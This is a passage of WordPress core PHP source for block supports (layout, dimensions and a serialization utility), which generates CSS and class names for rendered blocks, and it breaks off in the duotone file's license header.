 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
 * @since 6.3.0 Added grid layout type.
 * @access private
 *
 * @param string               $selector                      CSS selector.
 * @param array                $layout                        Layout object. The one that is passed has already checked
 *                                                            the existence of default block layout.
 * @param bool                 $has_block_gap_support         Optional. Whether the theme has support for the block gap. Default false.
 * @param string|string[]|null $gap_value                     Optional. The block gap value to apply. Default null.
 * @param bool                 $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
 * @param string               $fallback_gap_value            Optional. The block gap value to apply. Default '0.5em'.
 * @param array|null           $block_spacing                 Optional. Custom spacing set on the block. Default null.
 * @return string CSS styles on success. Else, empty string.
 */
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) {
	$layout_type   = isset( $layout['type'] ) ? $layout['type'] : 'default';
	$layout_styles = array();

	if ( 'default' === $layout_type ) {
		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'constrained' === $layout_type ) {
		$content_size    = isset( $layout['contentSize'] ) ? $layout['contentSize'] : '';
		$wide_size       = isset( $layout['wideSize'] ) ? $layout['wideSize'] : '';
		$justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center';

		$all_max_width_value  = $content_size ? $content_size : $wide_size;
		$wide_max_width_value = $wide_size ? $wide_size : $content_size;

		// Make sure there is a single CSS rule, and all tags are stripped for security.
		$all_max_width_value  = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
		$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );

		$margin_left  = 'left' === $justify_content ? '0 !important' : 'auto !important';
		$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';

		if ( $content_size || $wide_size ) {
			array_push(
				$layout_styles,
				array(
					'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
					'declarations' => array(
						'max-width'    => $all_max_width_value,
						'margin-left'  => $margin_left,
						'margin-right' => $margin_right,
					),
				),
				array(
					'selector'     => "$selector > .alignwide",
					'declarations' => array( 'max-width' => $wide_max_width_value ),
				),
				array(
					'selector'     => "$selector .alignfull",
					'declarations' => array( 'max-width' => 'none' ),
				)
			);

			if ( isset( $block_spacing ) ) {
				$block_spacing_values = wp_style_engine_get_styles(
					array(
						'spacing' => $block_spacing,
					)
				);

				/*
				 * Handle negative margins for alignfull children of blocks with custom padding set.
				 * They're added separately because padding might only be set on one side.
				 */
				if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
					$padding_right   = $block_spacing_values['declarations']['padding-right'];
					$layout_styles[] = array(
						'selector'     => "$selector > .alignfull",
						'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
					);
				}
				if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
					$padding_left    = $block_spacing_values['declarations']['padding-left'];
					$layout_styles[] = array(
						'selector'     => "$selector > .alignfull",
						'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
					);
				}
			}
		}

		if ( 'left' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-left' => '0 !important' ),
			);
		}

		if ( 'right' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-right' => '0 !important' ),
			);
		}

		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'flex' === $layout_type ) {
		$layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal';

		$justify_content_options = array(
			'left'   => 'flex-start',
			'right'  => 'flex-end',
			'center' => 'center',
		);

		$vertical_alignment_options = array(
			'top'    => 'flex-start',
			'center' => 'center',
			'bottom' => 'flex-end',
		);

		if ( 'horizontal' === $layout_orientation ) {
			$justify_content_options    += array( 'space-between' => 'space-between' );
			$vertical_alignment_options += array( 'stretch' => 'stretch' );
		} else {
			$justify_content_options    += array( 'stretch' => 'stretch' );
			$vertical_alignment_options += array( 'space-between' => 'space-between' );
		}

		if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-wrap' => 'nowrap' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}

		if ( 'horizontal' === $layout_orientation ) {
			/*
			 * Add this style only if is not empty for backwards compatibility,
			 * since we intend to convert blocks that had flex layout implemented
			 * by custom css.
			 */
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			}

			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		} else {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-direction' => 'column' ),
			);
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			} else {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => 'flex-start' ),
				);
			}
			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		}
	} elseif ( 'grid' === $layout_type ) {
		if ( ! empty( $layout['columnCount'] ) ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ),
			);
		} else {
			$minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem';

			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}
	}

	if ( ! empty( $layout_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return compiled layout styles to retain backwards compatibility.
		 * Since https://github.com/WordPress/gutenberg/pull/42452,
		 * wp_enqueue_block_support_styles is no longer called in this block supports file.
		 */
		return wp_style_engine_get_stylesheet_from_css_rules(
			$layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);
	}

	return '';
}

/**
 * Renders the layout config to the block wrapper.
 *
 * @since 5.8.0
 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles.
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_layout_support_flag( $block_content, $block ) {
	$block_type            = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	$layout_from_parent    = isset( $block['attrs']['style']['layout']['selfStretch'] ) ? $block['attrs']['style']['layout']['selfStretch'] : null;

	if ( ! $block_supports_layout && ! $layout_from_parent ) {
		return $block_content;
	}

	$outer_class_names = array();

	if ( 'fixed' === $layout_from_parent || 'fill' === $layout_from_parent ) {
		$container_content_class = wp_unique_id( 'wp-container-content-' );

		$child_layout_styles = array();

		if ( 'fixed' === $layout_from_parent && isset( $block['attrs']['style']['layout']['flexSize'] ) ) {
			$child_layout_styles[] = array(
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'flex-basis' => $block['attrs']['style']['layout']['flexSize'],
					'box-sizing' => 'border-box',
				),
			);
		} elseif ( 'fill' === $layout_from_parent ) {
			$child_layout_styles[] = array(
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'flex-grow' => '1',
				),
			);
		}

		wp_style_engine_get_stylesheet_from_css_rules(
			$child_layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		$outer_class_names[] = $container_content_class;
	}

	// Prep the processor for modifying the block output.
	$processor = new WP_HTML_Tag_Processor( $block_content );

	// Having no tags implies there are no tags onto which to add class names.
	if ( ! $processor->next_tag() ) {
		return $block_content;
	}

	/*
	 * A block may not support layout but still be affected by a parent block's layout.
	 *
	 * In these cases add the appropriate class names and then return early; there's
	 * no need to investigate on this block whether additional layout constraints apply.
	 */
	if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $class_name ) {
			$processor->add_class( $class_name );
		}
		return $processor->get_updated_html();
	} elseif ( ! $block_supports_layout ) {
		// Ensure layout classnames are not injected if there is no layout support.
		return $block_content;
	}

	$global_settings = wp_get_global_settings();
	$fallback_layout = isset( $block_type->supports['layout']['default'] )
		? $block_type->supports['layout']['default']
		: array();
	if ( empty( $fallback_layout ) ) {
		$fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] )
			? $block_type->supports['__experimentalLayout']['default']
			: array();
	}
	$used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout;

	$class_names        = array();
	$layout_definitions = wp_get_layout_definitions();

	/*
	 * Uses an incremental ID that is independent per prefix to make sure that
	 * rendering different numbers of blocks doesn't affect the IDs of other
	 * blocks. Makes the CSS class names stable across paginations
	 * for features like the enhanced pagination of the Query block.
	 */
	$container_class = wp_unique_prefixed_id(
		'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-'
	);

	// Set the correct layout type for blocks using legacy content width.
	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
		$used_layout['type'] = 'constrained';
	}

	$root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] )
		? $global_settings['useRootPaddingAwareAlignments']
		: false;

	if (
		$root_padding_aware_alignments &&
		isset( $used_layout['type'] ) &&
		'constrained' === $used_layout['type']
	) {
		$class_names[] = 'has-global-padding';
	}

	/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
	if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
		$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
	}

	if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
		$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
	}

	if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
		$class_names[] = 'is-nowrap';
	}

	// Get classname for layout type.
	if ( isset( $used_layout['type'] ) ) {
		$layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] )
			? $layout_definitions[ $used_layout['type'] ]['className']
			: '';
	} else {
		$layout_classname = isset( $layout_definitions['default']['className'] )
			? $layout_definitions['default']['className']
			: '';
	}

	if ( $layout_classname && is_string( $layout_classname ) ) {
		$class_names[] = sanitize_title( $layout_classname );
	}

	/*
	 * Only generate Layout styles if the theme has not opted-out.
	 * Attribute-based Layout classnames are output in all cases.
	 */
	if ( ! current_theme_supports( 'disable-layout-styles' ) ) {

		$gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] )
			? $block['attrs']['style']['spacing']['blockGap']
			: null;
		/*
		 * Skip if gap value contains unsupported characters.
		 * Regex for CSS value borrowed from `safecss_filter_attr`, and used here
		 * to only match against the value, not the CSS attribute.
		 */
		if ( is_array( $gap_value ) ) {
			foreach ( $gap_value as $key => $value ) {
				$gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
			}
		} else {
			$gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
		}

		$fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
			? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
			: '0.5em';
		$block_spacing      = isset( $block['attrs']['style']['spacing'] )
			? $block['attrs']['style']['spacing']
			: null;

		/*
		 * If a block's block.json skips serialization for spacing or spacing.blockGap,
		 * don't apply the user-defined value to the styles.
		 */
		$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );

		$block_gap             = isset( $global_settings['spacing']['blockGap'] )
			? $global_settings['spacing']['blockGap']
			: null;
		$has_block_gap_support = isset( $block_gap );

		$style = wp_get_layout_style(
			".$container_class.$container_class",
			$used_layout,
			$has_block_gap_support,
			$gap_value,
			$should_skip_gap_serialization,
			$fallback_gap_value,
			$block_spacing
		);

		// Only add container class and enqueue block support styles if unique styles were generated.
		if ( ! empty( $style ) ) {
			$class_names[] = $container_class;
		}
	}

	// Add combined layout and block classname for global styles to hook onto.
	$block_name    = explode( '/', $block['blockName'] );
	$class_names[] = 'wp-block-' . end( $block_name ) . '-' . $layout_classname;

	// Add classes to the outermost HTML tag if necessary.
	if ( ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $outer_class_name ) {
			$processor->add_class( $outer_class_name );
		}
	}

	/**
	 * Attempts to refer to the inner-block wrapping element by its class attribute.
	 *
	 * When examining a block's inner content, if a block has inner blocks, then
	 * the first content item will likely be a text (HTML) chunk immediately
	 * preceding the inner blocks. The last HTML tag in that chunk would then be
	 * an opening tag for an element that wraps the inner blocks.
	 *
	 * There's no reliable way to associate this wrapper in $block_content because
	 * it may have changed during the rendering pipeline (as inner contents is
	 * provided before rendering) and through previous filters. In many cases,
	 * however, the `class` attribute will be a good-enough identifier, so this
	 * code finds the last tag in that chunk and stores the `class` attribute
	 * so that it can be used later when working through the rendered block output
	 * to identify the wrapping element and add the remaining class names to it.
	 *
	 * It's also possible that no inner block wrapper even exists. If that's the
	 * case this code could apply the class names to an invalid element.
	 *
	 * Example:
	 *
	 *     $block['innerBlocks']  = array( $list_item );
	 *     $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' );
	 *
	 *     // After rendering, the initial contents may have been modified by other renderers or filters.
	 *     $block_content = <<<HTML
	 *         <figure>
	 *             <ul class="annotated-list list-wrapper is-unordered">
	 *                 <li>Code</li>
	 *             </ul><figcaption>It's a list!</figcaption>
	 *         </figure>
	 *     HTML;
	 *
	 * Although it is possible that the original block-wrapper classes are changed in $block_content
	 * from how they appear in $block['innerContent'], it's likely that the original class attributes
	 * are still present in the wrapper as they are in this example. Frequently, additional classes
	 * will also be present; rarely should classes be removed.
	 *
	 * @todo Find a better way to match the first inner block. If it's possible to identify where the
	 *       first inner block starts, then it will be possible to find the last tag before it starts
	 *       and then that tag, if an opening tag, can be solidly identified as a wrapping element.
	 *       Can some unique value or class or ID be added to the inner blocks when they process
	 *       so that they can be extracted here safely without guessing? Can the block rendering function
	 *       return information about where the rendered inner blocks start?
	 *
	 * @var string|null
	 */
	$inner_block_wrapper_classes = null;
	$first_chunk                 = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null;
	if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) {
		$first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk );
		while ( $first_chunk_processor->next_tag() ) {
			$class_attribute = $first_chunk_processor->get_attribute( 'class' );
			if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) {
				$inner_block_wrapper_classes = $class_attribute;
			}
		}
	}

	/*
	 * If necessary, advance to what is likely to be an inner block wrapper tag.
	 *
	 * This advances until it finds the first tag containing the original class
	 * attribute from above. If none is found it will scan to the end of the block
	 * and fail to add any class names.
	 *
	 * If there is no block wrapper it won't advance at all, in which case the
	 * class names will be added to the first and outermost tag of the block.
	 * For cases where this outermost tag is the only tag surrounding inner
	 * blocks then the outer wrapper and inner wrapper are the same.
	 */
	do {
		if ( ! $inner_block_wrapper_classes ) {
			break;
		}

		$class_attribute = $processor->get_attribute( 'class' );
		if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) {
			break;
		}
	} while ( $processor->next_tag() );

	// Add the remaining class names.
	foreach ( $class_names as $class_name ) {
		$processor->add_class( $class_name );
	}

	return $processor->get_updated_html();
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'layout',
	array(
		'register_attribute' => 'wp_register_layout_support',
	)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the inner div for the group block
 * to avoid breaking styles relying on that div.
 *
 * @since 5.8.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_restore_group_inner_container( $block_content, $block ) {
	$tag_name                         = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div';
	$group_with_inner_container_regex = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
		preg_quote( $tag_name, '/' )
	);

	if (
		wp_theme_has_theme_json() ||
		1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
		( isset( $block['attrs']['layout']['type'] ) && 'flex' === $block['attrs']['layout']['type'] )
	) {
		return $block_content;
	}

	/*
	 * This filter runs after the layout classnames have been added to the block, so they
	 * have to be removed from the outer wrapper and then added to the inner.
	 */
	$layout_classes = array();
	$processor      = new WP_HTML_Tag_Processor( $block_content );

	if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) {
		foreach ( $processor->class_list() as $class_name ) {
			if ( str_contains( $class_name, 'is-layout-' ) ) {
				$layout_classes[] = $class_name;
				$processor->remove_class( $class_name );
			}
		}
	}

	$content_without_layout_classes = $processor->get_updated_html();
	$replace_regex                  = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
		preg_quote( $tag_name, '/' )
	);
	$updated_content                = preg_replace_callback(
		$replace_regex,
		static function ( $matches ) {
			return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3];
		},
		$content_without_layout_classes
	);

	// Add layout classes to inner wrapper.
	if ( ! empty( $layout_classes ) ) {
		$processor = new WP_HTML_Tag_Processor( $updated_content );
		if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) {
			foreach ( $layout_classes as $class_name ) {
				$processor->add_class( $class_name );
			}
		}
		$updated_content = $processor->get_updated_html();
	}
	return $updated_content;
}

add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the outer div for the aligned image block
 * to avoid breaking styles relying on that div.
 *
 * @since 6.0.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param  array  $block        Block object.
 * @return string Filtered block content.
 */
function wp_restore_image_outer_container( $block_content, $block ) {
	$image_with_align = "
/# 1) everything up to the class attribute contents
(
	^\s*
	<figure\b
	[^>]*
	\bclass=
	[\"']
)
# 2) the class attribute contents
(
	[^\"']*
	\bwp-block-image\b
	[^\"']*
	\b(?:alignleft|alignright|aligncenter)\b
	[^\"']*
)
# 3) everything after the class attribute contents
(
	[\"']
	[^>]*
	>
	.*
	<\/figure>
)/iUx";

	if (
		wp_theme_has_theme_json() ||
		0 === preg_match( $image_with_align, $block_content, $matches )
	) {
		return $block_content;
	}

	$wrapper_classnames = array( 'wp-block-image' );

	// If the block has a classNames attribute these classnames need to be removed from the content and added back
	// to the new wrapper div also.
	if ( ! empty( $block['attrs']['className'] ) ) {
		$wrapper_classnames = array_merge( $wrapper_classnames, explode( ' ', $block['attrs']['className'] ) );
	}
	$content_classnames          = explode( ' ', $matches[2] );
	$filtered_content_classnames = array_diff( $content_classnames, $wrapper_classnames );

	return '<div class="' . implode( ' ', $wrapper_classnames ) . '">' . $matches[1] . implode( ' ', $filtered_content_classnames ) . $matches[3] . '</div>';
}

add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
<?php
/**
 * Dimensions block support flag.
 *
 * This does not include the `spacing` block support even though that visually
 * appears under the "Dimensions" panel in the editor. It remains in its
 * original `spacing.php` file for compatibility with core.
 *
 * @package WordPress
 * @since 5.9.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_dimensions_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_dimensions_support = block_has_support( $block_type, 'dimensions', false );

	if ( $has_dimensions_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block dimensions to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.9.0
 * @since 6.2.0 Added `minHeight` support.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block dimensions CSS classes and inline styles.
 */
function wp_apply_dimensions_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) {
		return array();
	}

	$attributes = array();

	// Width support to be added in near future.

	$has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false );
	$block_styles           = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_min_height                      = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' );
	$dimensions_block_styles              = array();
	$dimensions_block_styles['minHeight'] = null;
	if ( $has_min_height_support && ! $skip_min_height ) {
		$dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] )
			? $block_styles['dimensions']['minHeight']
			: null;
	}
	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Renders server-side dimensions styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.5.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_dimensions_support( $block_content, $block ) {
	$block_type               = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes         = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false );

	if (
		! $has_aspect_ratio_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' )
	) {
		return $block_content;
	}

	$dimensions_block_styles                = array();
	$dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null;

	// To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule.
	if (
		isset( $dimensions_block_styles['aspectRatio'] )
	) {
		$dimensions_block_styles['minHeight'] = 'unset';
	} elseif (
		isset( $block_attributes['style']['dimensions']['minHeight'] ) ||
		isset( $block_attributes['minHeight'] )
	) {
		$dimensions_block_styles['aspectRatio'] = 'unset';
	}

	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject dimensions styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );

			if ( ! empty( $styles['classnames'] ) ) {
				foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) {
					if (
						str_contains( $class_name, 'aspect-ratio' ) &&
						! isset( $block_attributes['style']['dimensions']['aspectRatio'] )
					) {
						continue;
					}
					$tags->add_class( $class_name );
				}
			}
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'dimensions',
	array(
		'register_attribute' => 'wp_register_dimensions_support',
		'apply'              => 'wp_apply_dimensions_support',
	)
);
<?php
/**
 * Block support utility functions.
 *
 * @package WordPress
 * @subpackage Block Supports
 * @since 6.0.0
 */

/**
 * Checks whether serialization of the current block's supported properties
 * should occur.
 *
 * @since 6.0.0
 * @access private
 *
 * @param WP_Block_Type $block_type  Block type.
 * @param string        $feature_set Name of block support feature set..
 * @param string        $feature     Optional name of individual feature to check.
 *
 * @return bool Whether to serialize block support styles & classes.
 */
function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) {
	if ( ! is_object( $block_type ) || ! $feature_set ) {
		return false;
	}

	$path               = array( $feature_set, '__experimentalSkipSerialization' );
	$skip_serialization = _wp_array_get( $block_type->supports, $path, false );

	if ( is_array( $skip_serialization ) ) {
		return in_array( $feature, $skip_serialization, true );
	}

	return $skip_serialization;
}
<?php
/**
 * Duotone block support flag.
 *
 * Parts of this source were derived and modified from TinyColor,
 * released under the MIT license.
 *
 * https://github.com/bgrins/TinyColor
 *
 * Copyright (c), Brian Grinstead, http://briangrinstead.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
